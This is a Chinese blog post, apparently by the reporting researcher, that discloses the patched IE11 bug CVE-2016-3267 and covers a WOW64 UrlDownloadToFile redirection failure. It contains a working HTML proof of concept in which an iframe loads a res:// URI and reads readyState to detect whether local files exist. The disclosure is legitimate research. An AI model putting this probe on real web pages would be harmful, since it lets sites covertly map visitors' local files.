2016年10月

CVE-2016-3267 漏洞细节

几个月前(http://www.nul.pw/2016/03/21/143.html)报告的漏洞,微软现在已经修复。
MS16-119 Microsoft Browser Information Disclosure Vulnerability CVE-2016-3267 Wenxiang Qian of Tencent QQBrowser

今天在seebug看到一篇paper(http://paper.seebug.org/64/),与我报的这个类似。从当时观察res相关处理逻辑的代码来看,这一块就整个是一个大坑。

鉴于这个漏洞十分简单,而且已经超过了6个月的缓和期,我就直接公开了。以下是CVE-2016-3267的细节,也是我报告时的原文(的汉译文)。

PoC by blast(Qian Wenxiang)

 <iframe id="r" src="res://c:\windows\system32\cmd.exe/3/1" onreadystatechange="document.getElementById('log').innerText+=readyState+','"></iframe>
<div id="log"></div>

<textarea style="width:100%;height:100%">
File Exists:
IE11= interactive,interactive
IE10- = interactive,complete

File Doesn't Exist:
IE11= loading,interactive
IE10- = interactive,complete

so you can tell it in ie11;
</textarea>

漏洞影响
我注意到你们在元素中已经禁止加载res协议的URI了,在CImgHelper::SetImgCtx中有一个检查v31 = CMarkup::CheckForLMZLLoad(v8, 1)会阻止图片的加载,不过攻击者仍然可以通过Iframe来在互联网域下加载一个资源URI。

通过使用readyState属性,攻击者可以检测本地文件是否存在。例如,"interactive,interactive,"代表文件存在并且被载入了iframe,而"loading, interactive"代表文件不存在。

IE11以下的版本(IE5~10)并不受影响,IE5-10不管文件是否存在,readyState状态变化都为"interactive,complete"。也许你们(微软)应该统一IE11为低版本的策略。

文件重定向与UrlDownloadToFile的丝丝纠缠

在wow64进程中,UrlDownloadToFile的逻辑是先把文件down到缓存目录,然后再从缓存目录MoveFile到目标地址。看起来没问题。

如果system启动了一个进程,那么这个进程的temp目录一般在c:\windows\syswow64\config\appdata\local\temp下。

假如我关闭了文件重定向,那么UrlDownloadToFile会产生什么样奇怪的化学反应呢?答案是:bug。

system启动的进程,关闭了文件重定向,然后调用UrlDownloadToFile。

UrlDownloadToFile会把文件缓存到c:\windows\syswow64\config...下,然后从c:\windows\ system32\config...把缓存文件移动到目标目录。

因为文件重定向关闭了,system32不会重定向到syswow64下,MoveFile失败。UrlDownloadToFile也宣告失败。

不过,估计微软也没考虑过这种倒霉情景。

解决方案:

UrlDownloadToFile下载到某个不会重定向的目录。
开启重定向。
MoveFileEx到所需位置。